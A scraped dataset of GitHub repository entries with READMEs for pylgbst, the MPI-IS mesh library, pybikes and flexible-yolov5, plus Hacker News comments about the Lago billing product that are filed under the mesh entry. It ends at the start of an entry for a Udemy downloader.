Connection Options\nThere is an optional parameter for `MoveHub` class constructor, accepting instance of `Connection` object. By default, it will try to use whatever `get_connection_auto()` returns. You have several options to manually control that:\n\n- use `get_connection_auto()` to attempt backend auto-detection \n- use `get_connection_bluegiga()` - if you use BlueGiga Adapter (`pygatt` library prerequisite)\n- use `get_connection_gatt()` - if you use Gatt Backend on Linux (`gatt` library prerequisite)\n- use `get_connection_gattool()` - if you use GattTool Backend on Linux (`pygatt` library prerequisite)\n- use `get_connection_gattlib()` - if you use GattLib Backend on Linux (`gattlib` library prerequisite)\n- use `get_connection_bluepy()` - if you use Bluepy backend on Linux/Raspbian (`bluepy` library prerequisite)\n- use `get_connection_bleak()` - if you use Bleak backend (`bleak` library prerequisite)\n\nAll the functions above have optional arguments to specify adapter name and Hub name (or mac address). Please take a look at functions source code for details.\n\nIf you want to specify name for Bluetooth interface to use on local computer, you can pass that to class or function of getting a connection. Then pass connection object to `MoveHub` constructor. Like this:\n```python\nfrom pylgbst.hub import MoveHub\nfrom pylgbst import get_connection_gatt\n\nconn = get_connection_gatt(hub_mac='AA:BB:CC:DD:EE:FF')\nhub = MoveHub(conn)\n```\n\n## Roadmap & TODO\n\n- validate operations with other Hub types (train, PUP etc)\n- make connections to detect hub by UUID instead of name\n- document all API methods\n\n## Links\n\n- https://github.com/LEGO/lego-ble-wireless-protocol-docs - true docs for LEGO BLE protocol\n- https://github.com/JorgePe/BOOSTreveng - initial source of protocol knowledge\n- https://github.com/nathankellenicki/node-poweredup - JavaScript version of library\n- https://github.com/spezifisch/sphero-python/blob/master/BB8joyDrive.py - example with another approach to bluetooth libs\n- https://github.com/virantha/bricknil - for the lovers of async Python, alternative implementation of library to control PoweredUp Hubs\n- https://virantha.github.io/bricknil/lego_api/lego.html - good infor about modes by BrickNil", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "MPI-IS/mesh", "link": "https://github.com/MPI-IS/mesh", "tags": [], "stars": 503, "description": "MPI-IS Mesh Processing Library", "lang": "Python", "repo_lang": "", "readme": "[![Build Status](\n    https://raw.githubusercontent.com/MPI-IS-BambooAgent/sw_badges/master/badges/plans/ps-body-mesh/tag.svg?sanitize=true)](\n        https://atlas.is.localnet/bamboo/browse/PS-FMP/latest)\n\nPerceiving Systems Mesh Package\n===============================\n\nThis package contains core functions for manipulating meshes and\nvisualizing them.  It requires ``Python 3.5+`` and is supported on\nLinux and macOS operating systems.\n\nThe ``Mesh`` processing libraries support several of our projects such as\n* [CoMA: Convolutional Mesh Encoders for Generating 3D Faces](http://coma.is.tue.mpg.de/)\n* [FLAME: Learning a model of facial shape and expression from 4D scans](http://flame.is.tue.mpg.de/)\n* [MANO: Modeling and Capturing Hands and Bodies Together](http://mano.is.tue.mpg.de/)\n* [SMPL: A Skinned Multi-Person Linear Model](http://smpl.is.tue.mpg.de/)\n* [VOCA: Voice Operated Character Animation](https://github.com/TimoBolkart/voca)\n* [RingNet: 3D Face Shape and Expression Reconstruction from an Image](https://github.com/soubhiksanyal/RingNet)\n* [Expressive Body Capture: 3D Hands, Face, and Body from a Single Image](https://smpl-x.is.tue.mpg.de/)\n\nRequirements\n------------\n\nYou first need to install the `Boost <http://www.boost.org>`_\nlibraries.  You can compile your own local version or simply do on\nLinux\n\n```\n$ sudo apt-get install libboost-dev\n```\n\nor on macOS\n\n```\n$ brew install boost\n```\n\nInstallation\n------------\n\nFirst, create a dedicated Python virtual environment and activate it:\n\n```\n$ python3 -m venv --copies my_venv\n$ source my_venv/bin/activate\n```\n\nYou should then compile and install the ``psbody-mesh`` package easily\nusing the Makefile:\n\n```\n$ BOOST_INCLUDE_DIRS=/path/to/boost/include make all\n```\n\nTesting\n-------\n\nTo run the tests, simply do:\n\n```\n$ make tests\n```\n\nDocumentation\n-------------\n\nA detailed documentation can be compiled using the Makefile:\n\n```\n$ make documentation\n```\n\nViewing the Meshes\n------------------\n\nStarting from version 0.4 meshviewer ships with `meshviewer` -- a\nprogram that allows you to display polygonal meshes produced by `mesh`\npackage.\n\n### Viewing a mesh on a local machine\n\nThe most straightforward use-case is viewing the mesh on the same\nmachine where it is stored.  To do this simply run\n\n```\n$ meshviewer view sphere.obj\n```\n\nThis will create an interactive window with your mesh rendering.  You\ncan render more than one mesh in the same window by passing several\npaths to `view` command\n\n```\n$ meshviewer view sphere.obj cylinder.obj\n```\n\nThis will arrange the subplots horizontally in a row.  If you want a\ngrid arrangement, you can specify the grid parameters explicitly\n\n```\n$ meshviewer view -nx 2 -ny 2 *.obj\n```\n\n### Viewing a mesh from a remote machine\n\nIt is also possible to view a mesh stored on a remote machine.  To do\nthis you need mesh to be installed on both the local and the remote\nmachines.  You start by opening an empty viewer window listening on a\nnetwork port\n\n```\n(local) $ meshviewer open --port 3000\n```\n\nTo stream a shape to this viewer you have to either pick a port that\nis visible from the remote machine or by manually exposing the port\nwhen connecting.  For example, through SSH port forwarding\n\n```\n(local) $ ssh -R 3000:127.0.0.1:3000 user@host\n```\n\nThen on a remote machine you use `view` command pointing to the\nlocally forwarded port\n\n```\n(remote) $ meshviewer view -p 3000 sphere.obj\n```\n\nThis should display the remote mesh on your local viewer. In case it\ndoes not it might be caused by the network connection being closed\nbefore the mesh could be sent. To work around this one can try\nincreasing the timeout up to 1 second\n\n```\n(remote) $ meshviewer view -p 3000 --timeout 1 sphere.obj\n```\n\nTo take a snapshot you should locally run a `snap` command\n\n```\n(local) $ meshviewer snap -p 3000 sphere.png\n```\n\nLicense\n-------\n\nPlease refer for LICENSE.txt for using this software. The software is\ncompiled using CGAL sources following the license in CGAL_LICENSE.pdf\n\nAcknowledgments\n---------------\n\nWe thank the external contribution from the following people:\n* [Kenneth Chaney](https://github.com/k-chaney)  ([PR #5](https://github.com/MPI-IS/mesh/pull/5))\n* [D\u00e1vid Komorowicz](https://github.com/Dawars) ([PR #8](https://github.com/MPI-IS/mesh/pull/8))\n", "readme_type": "markdown", "hn_comments": "I think this is going to be/already is a crowded space.  SaaS companies are feeling the burn of layoffs due to per-seat pricing, so metered billing seems like a good alternative.  Unfortunately, as a SaaS consumer, I despise it, as it's meant to be obtuse and hard to estimate, plus I have yet to see any SaaS/IaaS offer real spend controls like stopping the service.<HN_SEP>Congrats on the launch!!<HN_SEP>We just rolled out Lago billing in Rivet yesterday. Lago is very well designed and the team is incredibly helpful!<HN_SEP>How is usage based billing taken from the user's point of view? Isn't there a sense it disincentivizes a paying customer from using your product?<HN_SEP>This is such a great product and a must have for new age API based products. Congrats on the launch!<HN_SEP>How do you compare with other processes and workflows to manage billing?\nFor example: using snowflake + DBT to track billable metrics?<HN_SEP>This is very cool! We just built our own internal billing tool for our company after bad experiences with Recurly and ChargeBee. We are B2B and B2E and ChargeBee/Recurly felt very clunky when used for enterprise billing \u2014 specifically around usage based billing, discounts, and multiple geographies.The billing part was easy to build (though of course we under-estimated the effort by 10x), but the reporting is the really tricky part. Revenue recognition, plus simple things like correctly tracking upgrades/downgrades vs expansion/contraction when someone changes plan mid-month.Is this something that Lago does now or intends to include? I could not see it in the docs.<HN_SEP>Love to see this. Congrats!<HN_SEP>We use Stripe, any difference ?<HN_SEP>How are you able to build something like this while only paying engineers 50k/yr?https://www.ycombinator.com/companies/lago/jobs<HN_SEP>Brad Cox laid out a scheme similar to this in hopes of solving the software crisis, in his 1995 book Superdistribution. Now, it wasn't really technically feasible when software was local and native, but in the cloud era it makes a lot more sense. I've personally felt the pain of creating a bespoke multitiered billing system so I appreciate what you're trying to do here, good luck!<HN_SEP>In years 2000/2001, as the dot-com implosion was happening, I worked for a company where we did patent disclosures (I spent a long time talking to a patent lawyer) discussing in depth ideas for billing systems, including a vendor / distributor / consumer model (where any entity could be any one or a combination of those w.r.t. a product), data structures, data-collection frameworks, billing \"metrics\", passthrough-billing-with-a-cut, differential pricing, resale of combined products, etc.  These were turned into patent applications that perhaps merited becoming full-blown patents, or perhaps not.  Given the recent rash of companies doing this (e.g., https://www.monetize360.com/), I think they were patentable ideas 20+ years ago.  The referenced applications should give some prior art coverage for many patent issues one might run into.Of course, the vendor/distributor/consumer model can become vendor-many-clients through simplication, same ideas hold.As it turned out, the company was lucky to have some data-storage-discovery-and-inventory software built as part of the bigger eventual vision that attracted a buyer.  It was not the time to work on ambitious greenfield stuff, I guess.  The patents were not relevant to the acquirer, and they lapsed at some point.https://patents.google.com/patent/US20030083998https://patents.google.com/patent/US20030084000https://patents.google.com/patent/US20030083892https://patents.google.com/patent/US20030083995https://patents.google.com/patent/US20030083994https://patents.google.com/patent/US20030084145https://patents.google.com/patent/US20030083999https://patents.google.com/patent/US20030084060https://patents.google.com/patent/US20030084343https://patents.google.com/patent/US20030084341[edit:  2000 -> 2000/2001 ...  \"any patent issues\" --> \"many patent issues\" ... a few other in the inventory of ideas ... simplification of model to vendor-many-clients ... fixed one link]<HN_SEP>How do you guys differ from Lotus, the other YC open-source usage based billing company?<HN_SEP>Congrats on the launch! And thanks for helping the open-source ecosystem to thrive.\nI'm always happy to see open-source companies challenging the status quo. Open Source is very often the most reliable choice, and you contribute to spreading the word.<HN_SEP>great project and thank you for open sourcing! this is something I need for a future project and you have already built all or most of the features I need for the billing aspect.I'll explore the product more on my own and will try to contribute back where possible<HN_SEP>Congrats on the launch, definitely an interesting product and really interesting space. But...didn't you guys launch a while ago? Is there something specific you're launching now?>> The tech stack we use to build Lago (YC S21), the open source billing API (https://news.ycombinator.com/item?id=32438355)>> Lago: The Open Source Stripe Billing Alternative (https://news.ycombinator.com/item?id=32438355)>>Lago: The Open Source Stripe Billing Alternative(https://news.ycombinator.com/item?id=31638797)>>Show HN: 6 Steps to build a usage-based billing system with Lago (YC S21)(https://news.ycombinator.com/item?id=32765162)>> Show HN: Lago: Open-source metering and usage-based billing (https://news.ycombinator.com/item?id=33505229)<HN_SEP>Lago is awesome. We'll likely use Lago at my startup (metlo) when we implement full self-serve usage-based billing.<HN_SEP>We decided to use Lago with our SaaS. Billing is super complicated and Lago handles everything we need out of the box. Building this stuff would have been a nightmare. Really cool!<HN_SEP>Congrats on the launch! Do you think it is appropriate for any kind of SaaS company (e.g. Figma, Airtable\u2026), or just for companies like Snowflake?<HN_SEP>Happy Lago customers here at Mono, we we're able to \"hack\"our way to billing connecting a Kafka listener to n8n and orchestrate all the billing from n8n, rather than expending lots of time integrating. We did all the integrations in 1 week in a \"low-code\" environment without requiring any developer to work on in.<HN_SEP>Wow this is finally happening! Big fan of this team and this product! Congrats for this launch, this is the first milestone of an amazing journey reinventing billing for tech companies!<HN_SEP>Congrats!!!<HN_SEP>I submitted separately [0] your blogpost \"Open-source licensing and why Lago chose AGPLv3\" [1]. I find this a refreshing and good read that counters the usual FUD so many people raise when hearing about the AGPL. In the article is mentioned Plausible [2] who also managed to create a great business this way, and in direct competition to Google Analytics. Well done.https://news.ycombinator.com/item?id=34773891https://www.getlago.com/blog/open-source-licensing-and-why-l...https://plausible.io<HN_SEP>This looks great. Your website is clean and informative - great work. Stripe is awesome but a self-hosted option fits our culture and philosophy a lot better. Will give it a blast when i get a chance.<HN_SEP>What\u2019s the advantage of open source usage based pricing? Does this product solve the charging part of the problem or the customer portal admin part of billing?<HN_SEP>Interesting. Would you know how this compares to turnstile [0]? (I only know about them because I saw their hiring page on HN a week or two ago, and was intrigued.)[0] https://tryturnstile.com/<HN_SEP>If I have a marketplace (something like RapidAPI or Shopify, for example), can I use Lago to allow my providers to create custom pricing plans for their customers? Skimming the Lago API, I see that I can create all the parts of custom pricing plans, but can I group/separate them as well? As in, can there be pricing plans for company A with coupons for A, but company B has their own plans and coupons? Is that something Lago supports, or at least something that I can accomplish with my business logic (ie. prefixing plans with A, B, etc) \u2013 or completely out of scope?<HN_SEP>I have been keeping track of Lago's team for a while now, and I am continually impressed by their achievements and the speed at which they are delivering. Congratulations on the launch!<HN_SEP>It is quite sneaky on the get started page. You are pushed into the cloud option, since the self hosted text is the same color as the background and you can't see it.<HN_SEP>Congrats Anh-Tho and Raffi! I think this will be big<HN_SEP>As someone who was once tasked with fixing a 1200 line Bash script that tabulated customer usage \u2013 it got re-implemented in about 400 lines of Python \u2013 I like the sound of this. Good luck<HN_SEP>After clicking on your repo link, for a moment I was taken aback by the repo being 100% written in shell script. :)But then I've noticed that you use git submodules for the frontend and backend. It's actually a Rails application from what I can tell.<HN_SEP>Nice!! congrats on the launch!<HN_SEP>Congrats on the launch! I fully intend on using Lago for my SaaS.I wonder, would it ever be possible to use the structure provided by lago to also set up a marketplace where user can buy/sell from eachother?<HN_SEP>Exciting to see the progress of Lago and the attention being given to the challenges in the SaaS billing world.We're also working in the billing space with a complementary tool, Tier (https://github.com/tierrun/tier). Although we currently do not support Lago directly, it's exciting to see more options emerging. Their content marketing has been particularly impressive on HN and in general.With metering, entitlement management, CPQ, feature gating, and everything else required in a modern SaaS company, the PriceOps space can be quite complex for developers.Congratulations on the launch and best of luck!<HN_SEP>[dead]<HN_SEP>Congrats on the launch!Any plans to tackle Stripe Connect like functionality (platform / marketplace payments)?<HN_SEP>How does it differ from M3ter, Metronome or Amberflow other than open source?<HN_SEP>Congrats! We built a usage-based telephony (voice & sms) billing system for our customers and appreciate the pain. Not to take anything away from your launch, but founders / product managers should carefully consider if usage-billing (even with a tool like Lago) is best for your business and customers.We started as usage-based then learned a few years in (once we understood customer usage trends - key) that customers would gladly pay ~20% MORE per year for unlimited access because the customer wanted a predictable bill. We essentially rode the same trend of pay-as-you-go mobile to unlimited plans.Later in our history we found investors (and our accountants) liked the predictability as well. It's easier to show \"up and to the right\" when not dealing with a few large customers varying down in usage in one quarter (even if the business was on the upswing).One-size doesn't fit all -- usage billing has its place for sure -- just carefully weigh your model as it's a huge lift to flip it midstream.<HN_SEP>Congrats on the launch, as a growing and open-source startup ourselves, we are eager to switch to Lago as soon as our stripe fees are gonna become a PITA which I expect to be in the near-future. The product looks amazing and the API seems super well-designed!<HN_SEP>This looks great, well done. At a previous company we had a relatively simple billing structure, but it was unusual in that it was usage based + an honesty system (clients could elect to not pay in any given instance if the product didn't add value in that instance). Add to that, the client often wouldn't know whether the product added value until weeks or months after the usage. We ended up writing our own billing stack, and would have loved something like this to just build our little quirks on top of.And as you say, everyone kept telling us \"Can't you just use Stripe or Chargebee?\" but the answer was always no.I will definitely check this out next time I'm setting up a billing system!<HN_SEP>I am sorry to be that guy but why ruby? I feel that Lago is a good idea but ruby usage is in a downward trend and few developers want to invest time in ruby projects these days. Was node or python considered?<HN_SEP>Distributed optimisation is interesting.Remember that you can take node failure, as long as you have a copy of your state stored somewhere that you can restart from when required. The overall product isn't particularly effected from that.0mq is probably what you want if you're implementing this the way i'm expecting you to. ie, some variation on: take current state, multicast that to all of the machines doing the optimisation take results, unicast back to a machine to determine the best state to seed the next round, repeat.0mq over infiniband will iirc use the native infiniband multicast groups which is very efficient.Keep snapshots of each iteration, and all should be good.But like all things, it depends entirely on the specifics of what you're trying to do. Send me an email, you seem to have an interesting problem.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "eskerda/pybikes", "link": "https://github.com/eskerda/pybikes", "tags": [], "stars": 503, "description": "bike sharing + python = pybikes", "lang": "Python", "repo_lang": "", "readme": "pybikes [![Build Status](https://github.com/eskerda/pybikes/actions/workflows/test.yml/badge.svg)](https://github.com/eskerda/pybikes/actions/workflows/test.yml)\n=======\n![pybikes](http://citybik.es/files/pybikes.png)\n\npybikes provides a set of tools to scrape bike sharing data from different\nwebsites and APIs, thus providing a coherent and generalized set of classes\nand methods to access this sort of information.\n\nThe library is distributed and intended mainly for statistics and data\nsharing projects. More importantly, it powers the [CityBikes][1] project, and\nis composed of a set of classes and a pack of data files that provide instances\nfor all different systems.\n\nInstallation\n------------\n\nInstall directly from GitHub:\n```bash\npip install git+https://github.com/eskerda/pybikes.git\n```\n\nOr after downloading/cloning the source:\n```bash\npython setup.py install\n```\n\nThe following dependencies are required (example using Ubuntu package manager):\n```\nsudo apt-get install python\nsudo apt-get install python-setuptools\nsudo apt-get install libxml2 libxml2-dev libxslt1-dev libgeos-dev\n```\n\nUsage\n-----\n```python\n>>> import pybikes\n\n# Capital BikeShare instantiation data is in bixi.json file\n>>> capital_bikeshare = pybikes.get('capital-bikeshare')\n\n# The instance contains all possible metadata regarding this system\n>>> print(capital_bikeshare.meta)\n{\n    'name': 'Capital BikeShare',\n    'city': 'Washington, DC - Arlington, VA',\n    'longitude': -77.0363658,\n    'system': 'Bixi',\n    'company': ['PBSC'],\n    'country': 'USA',\n    'latitude': 38.8951118\n}\n# The update method retrieves the list of stations\n>>> print(len(capital_bikeshare.stations))\n0\n>>> capital_bikeshare.update()\n>>> print(len(capital_bikeshare.stations))\n191\n>>> print(capital_bikeshare.stations[0])\n--- 31000 - 20th & Bell St ---\nbikes: 7\nfree: 4\nlatlng: 38.8561,-77.0512\nextra: {\n    'installed': True,\n    'uid': 1,\n    'locked': False,\n    'removalDate': '',\n    'installDate': '1316059200000',\n    'terminalName': '31000',\n    'temporary': False,\n    'name': '20th & Bell St',\n    'latestUpdateTime': '1353454305589'\n}\n```\n\nSome systems might require an API key to work (for instance, Cyclocity). In\nthese cases, the instance factory can take an extra API key parameter.\n\n```python\n>>> key = \"This is not an API key\"\n>>> dublinbikes = pybikes.get('dublinbikes', key)\n```\n\nNote that pybikes works as an instance factory and, choicely, instances can be\ngenerated by passing the right arguments to the desired class\n\n```python\n>>> from pybikes.cyclocity import BixiSystem\n>>> capital_bikeshare = BixiSystem(\n        tag = 'foo_tag',\n        root_url = 'http://capitalbikeshare.com/data/stations/',\n        meta = {'foo':'bar'}\n    )\n```\n\nThe way information is retrieved can be tweaked using the PyBikesScraper class\nincluded on the utils module thus allowing session reusing and niceties such as\nusing a proxy. This class uses [Requests][2] module internally.\n\n```python\n>>> scraper = pybikes.utils.PyBikesScraper()\n>>> scraper.enableProxy()\n>>> scraper.setProxies({\n        \"http\" : \"127.0.0.1:8118\",\n        \"https\": \"127.0.0.1:8118\"\n    })\n>>> scraper.setUserAgent(\"Walrus\u2122 v3.0\")\n>>> scraper.headers['Foo'] = 'bar'\n>>> capital_bikeshare.update(scraper)\n```\n\n[1]: http://www.citybik.es              \"CityBikes\"\n[2]: http://docs.python-requests.org    \"Requests\"\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Bobo-y/flexible-yolov5", "link": "https://github.com/Bobo-y/flexible-yolov5", "tags": ["yolov5", "resnet", "moblienet", "backbone", "neck", "se", "cbam", "efficientnet", "pytorch", "shufflenet", "hrnet", "dcnv2", "tensorrt", "object-detection", "swin-transformer", "gcn", "yolov3"], "stars": 503, "description": "More readable and flexible yolov5 with more backbone(gcn, resnet, shufflenet, moblienet, efficientnet, hrnet, swin-transformer, etc) and (cbam\uff0cdcn and so on), and tensorrt", "lang": "Python", "repo_lang": "", "readme": "# flexible-yolov5\n\n\n<div align=center><img src=\"https://user-images.githubusercontent.com/9928596/191880047-a408e29c-4c6b-4e20-9318-0b23037ed64e.png\" width=\"600\" height=\"400\"/></div>\n\n\n*Update the code for  [ultralytics/yolov5](https://github.com/ultralytics/yolov5) version 6.1.*\n---\n\u4ee3\u7801\u57fa\u4e8eU\u7248YOLOv5  6.1\u7248\u672c. \u6839\u636e {backbone, neck, head} \u91cd\u65b0\u7ec4\u7ec7\u4e86\u7f51\u7edc\u7ed3\u6784, \u76ee\u524dbackbone \u9664\u4e86\u539f\u59cb\u7684YOLO\u5916\uff0c\u8fd8\u53ef\u9009\u62e9 resnet, hrnet, swin-transformer, gnn, mobilenet \u7b49\u4e3b\u6d41backbone. \u540c\u65f6\u4e5f\u53ef\u4ee5\u81ea\u7531\u7684\u52a0\u5165 SE, DCN, drop block \u7b49\u63d2\u4ef6. \u53ef\u4ee5\u5f88\u65b9\u4fbf\u7684\u5bf9\u7f51\u7edc\u7ed3\u6784\u7b49\u8fdb\u884c\u66ff\u6362\u3001\u4fee\u6539\u3001\u5b9e\u9a8c. \u540c\u65f6\u63d0\u4f9b\u4e86tensorrt \u7684c++\u3001Python \u63a8\u7406, \u91cf\u5316. \u4ee5\u53caTriton\u3001tf_serving \u90e8\u7f72\u4ee3\u7801. \u6bcf\u4e2abackbone\u53ea\u9009\u4e86\u4e00\u4e2a\u8bad\u7ec3300\u4e2aepoch\u505a\u5bf9\u6bd4\uff0c\u5747\u65e0\u9884\u8bad\u7ec3\u6743\u91cd\uff0c\u7531\u4e8e\u7f51\u7edc\u7ed3\u6784\u4e0d\u540c\uff0c\u6211\u7684\u7ed3\u679c\u5e76\u4e0d\u80fd\u4ee3\u8868\u7f51\u7edc\u6700\u7ec8\u7684\u7ed3\u679c\uff0c\u53ef\u4ee5\u4f5c\u4e3a\u4e00\u4e2abaseline\u53c2\u8003. \u8fd9\u4e2a\u9879\u76ee\u9002\u5408\u60f3\u8981\u5404\u79cd\u6539YOLO\u6216\u8005\u9a8c\u8bc1\u6a21\u5757. \u662f\u5982\u679c\u4f60\u6709\u4ec0\u4e48\u597d\u7684idea\uff0c\u6bd4\u5982\u589e\u52a0\u65b0\u7684backbone, \u63d2\u4ef6\u7b49, \u6b22\u8fce\u63d0PR, \u4f7f\u7528\u65f6\u9047\u5230\u4ec0\u4e48\u95ee\u9898, \u4e5f\u6b22\u8fce\u63d0issue. \u5982\u679c\u5bf9\u4f60\u6709\u5e2e\u52a9, \u611f\u8c22\u7ed9\u9897\u2665(\u02c6\u25e1\u02c6\u0505)\u5c0f \u2b50\ufe0f\u2b50\ufe0f. \n---\nSplit the yolov5 model to {backbone, neck, head} to facilitate the operation of various modules and support more backbones.Basically, only change the model, and I didn't change the architecture, training and testing of yolov5. Therefore, if the original code is updated, it is also very convenient to update this code. if you have some new ideas, you can give a pull request, add new features together\u3002 if this repo can help you, please give me a star.\n\n## Table of contents\n* [Features](#features)\n* [Notices](#Notices)\n* [Bugs](#Bugs)\n* [Prerequisites](#prerequisites)\n* [Getting Started](#getting-started)\n    * [Dataset Preparation](#dataset-preparation)\n    * [Training and Testing](#Training-and-Testing)\n        * [Training](#training)\n        * [Testing and Visualize](#testing-and-visualize)\n    * [Model performance comparison](#Model-performance-comparison-with-different-backbone)\n    * [Detection](#Detection)\n    * [Deploy](#Deploy)\n        * [Export](#Export)\n        * [Grpc server](#Grpc-server)\n* [Reference](#Reference)\n\n\n## Features\n- Reorganize model structure, such as backbone, neck, head, can modify the network flexibly and conveniently\n- mobilenetV3-small, mobilenetV3-large \n- shufflenet_v2_x0_5, shufflenet_v2_x1_0, shufflenet_v2_x1_5, shufflenet_v2_x2_0\n- yolov5s, yolov5m, yolov5l, yolov5x, yolov5transformer\n- resnet18, resnet50, resnet34, resnet101, resnet152 \n- efficientnet_b0 - efficientnet_b8, efficientnet_l2\n- hrnet 18,32,48\n- CBAM, SE\n- swin transformer - base, tiny, small, large (please set half=False in scripts/eval.py and don't use model.half in train.py)\n- DCN (mixed precision training not support, if you want use dcn, please close amp in line 292 of scripts/train.py)\n- coord conv\n- drop_block\n- vgg, repvgg\n- tensorrt c++/python infer, triton server infer\n- gnn backbone\n\n## Notices\n\n* The CBAM, SE, DCN, coord conv. At present, the above plug-ins are not added to all networks, so you may need to modify the code yourself.\n* The default gw and gd for PAN and FPN of other backbone are same as yolov5_s, so if you want a strong model, please modify self.gw and self.gd in FPN and PAN.\n* resnet with dcn, training on gpu *RuntimeError: expected scalar type Half but found Float: please remove the mixed precision training in line 351 of scripts/train.py\n* swin-transformer, training is ok, but testing report *RuntimeError: expected object of scalar type Float but got scalar type Half for argument #2 'mat2' in call to_th_bmm_out in swin_trsansformer.py.   please set half=False in script/eval.py\n* mobilenet export onnx failed, please replace HardSigmoid() by others, because onnx don't support pytorch nn.threshold\n\n## Bugs\n\nNone\n\n## Prerequisites\n\nplease refer requirements.txt\n\n## Getting Started\n\n### Dataset Preparation\n\nMake data for yolov5 format. you can use od/data/transform_voc.py convert VOC data to yolov5 data format.\n\n### Training and Testing\n\nFor training and Testing, it's same like yolov5.\n\n#### Training\n\n1. check out configs/data.yaml, and replace with your data\uff0c and number of object nc\n2. check out configs/model_*.yaml, choose backbone. and change nc to your dataset. please refer support_backbone in models.backbone.__init__.py\n3. \n```shell script\n$ python scripts/train.py  --batch 16 --epochs 5 --data configs/data.yaml --cfg configs/model_XXX.yaml\n```\n\nA google colab demo in train_demo.ipynb\n\n#### Testing and Visualize\n\n```shell script\n$ python scripts/eval.py   --data configs/data.yaml  --weights runs/train/yolo/weights/best.py\n```\n\n### Model performance comparison with different backbone\n\nFor some reasons, I can't provide the pretrained weight, only the comparison results. Sorry! \n\nAll checkpoints are trained to 300 epochs with default settings, all backbones without pretrained weights. Yolov5 Nano and Small models use hyp.scratch-low.yaml hyps, all others use hyp.scratch-high.yaml. The mAP of the validation come to the last epoch, maybe not the best.\n\n|flexible-yolov5 model with different backbones|size<br><sup>(pixels) |mAP<sup>val<br>0.5:0.95 |mAP<sup>val<br>0.5 |params<br><sup> \n|    ---                |---  |---    |---    |---    \n|[flexible-YOLOv5n](https://pan.baidu.com/s/1UAvEmgWmpxA3oPm5CJ8C-g \u63d0\u53d6\u7801: kg22)     |640  |25.7   |43.3   | 1872157\n|[flexible-YOLOv5s](https://pan.baidu.com/s/1ImN2ryMK3IPy8_St-Rzxhw \u63d0\u53d6\u7801: pt8i)     |640  |35     |54.7   | 7235389\n|[flexible-YOLOv5m]     |640  |42.1   |62     | 21190557\n|[flexible-YOLOv5l]     |640  |45.3   |65.3   | 46563709  \n|[flexible-YOLOv5x]     |640  |47     |66.7   | 86749405\n|     <center>others backbone</center>                  |     |       |       |    \n|[mobilnet-v3-small]    |640  |21.9   | 37.6  | 3185757\n|[resnet-18]              |640  | 34.6  | 53.7  |14240445\n|[shufflenetv2-x1_0]      |640  | 27.8  | 45.1  | 4297569\n|[repvgg-A0]              |640  |   |   | \n|[vgg-16bn]              |640  |35.2   |56.4   | 17868989\n|[efficientnet-b1]        |640  | 38.1  | 58.6  | 9725597\n|[swin-tiny]              |640  |  39.2 | 60.5  | 30691127\n|[gcn-tiny]              |640  | 33.8  |55.5   |  131474444\n|     <center>resnet with plug-in</center>                  |     |       |       | \n|[resnet-18-cbam]              |640  |35.2   |55.5   |15620399\n|[resnet-18-dcn]              |640  |   |   |\n\n\n### Detection\n\n```shell\npython scripts/detector.py   --weights yolov5.pth --imgs_root  test_imgs   --save_dir  ./results --img_size  640  --conf_thresh 0.4  --iou_thresh 0.4\n```\n\n### Deploy\n\n#### Export \n```shell\npython scripts/export.py   --weights yolov5.pth \n```\n\n#### Grpc Server\n\nIn projects folder, tf_serving and triton demo are provided. \n\n#### Quantization\n\nYou can directly quantify the onnx model\n\nThis script run succ on Tensorrt 7.x. For 8.x, this code need be rewrite.\n\n```shell\npython scripts/trt_quant/convert_trt_quant.py  --img_dir  /XXXX/train/  --img_size 640 --batch_size 6 --batch 200 --onnx_model runs/train/exp1/weights/bast.onnx  --mode int8\n```\n[See](scripts/trt_quant/README)\n\n\n#### Tensorrt Inference\n\nFor tensorrt model, you can direct use official trt export, and refer scripts/trt_infer/cpp/. For test, I use TensorRT-8.4.0.6.\n\nprivode c++ / python demo, scripts/trt_infer\n\n\n\n## Reference\n\n* [ultralytics/yolov5](https://github.com/ultralytics/yolov5)\n* [EfficientNet-PyTorch](https://github.com/lukemelas/EfficientNet-PyTorch)\n* [Mobilenet v3](https://arxiv.org/abs/1905.02244)\n* [resnet](https://arxiv.org/abs/1512.03385)\n* [hrnet](https://arxiv.org/abs/1908.07919)\n* [shufflenet](https://arxiv.org/abs/1707.01083)\n* [swin transformer](https://github.com/SwinTransformer/Swin-Transformer-Object-Detection)\n* [dcn-v2](https://github.com/jinfagang/DCNv2_latest)\n* [coord_conv](https://github.com/mkocabas/CoordConv-pytorch)\n* [triton server](https://github.com/triton-inference-server/server)\n* [drop_block](https://github.com/miguelvr/dropblock)\n* [trt quan](https://github.com/Wulingtian/nanodet_tensorrt_int8_tools)\n* [repvgg](https://github.com/DingXiaoH/RepVGG)\n\n\n## &#8627; Contributors\n<a href=\"https://github.com/Bobo-y/flexible-yolov5/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=Bobo-y/flexible-yolov5\" />\n</a>\n   \n## &#8627; Stargazers\n[![Stargazers repo roster for @Bobo-y/flexible-yolov5](https://reporoster.com/stars/Bobo-y/flexible-yolov5)](https://github.com/Bobo-y/flexible-yolov5/stargazers)\n\n## &#8627; Forkers\n[![Forkers repo roster for @Bobo-y/flexible-yolov5](https://reporoster.com/forks/Bobo-y/flexible-yolov5)](https://github.com/Bobo-y/flexible-yolov5/network/members)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Puyodead1/udemy-downloader", "link": "https://github.com/Puyodead1/udemy-downloader", "tags": ["download", "downloader", "python", "udemy", "udemy-downloader-gui"], "stars": 503, "description": "A Udemy downloader that can download lectures, with DRM support.", "lang": "Python", "repo_lang": "", "readme": "# Udemy Downloader with DRM support\n\n[![forthebadge](https://forthebadge.com/images/badges/built-with-love.svg)](https://forthebadge.com)\n[![forthebadge](https://forthebadge.com/images/badges/designed-in-ms-paint.svg)](https://forthebadge.com)\n[![forthebadge](https://forthebadge.com/images/badges/made-with-python.svg)](https://forthebadge.com)\n[![forthebadge](https://forthebadge.com/images/badges/approved-by-george-costanza.svg)](https://forthebadge.com)\n![GitHub forks](https://img.shields.io/github/forks/Puyodead1/udemy-downloader?style=for-the-badge)\n![GitHub Repo 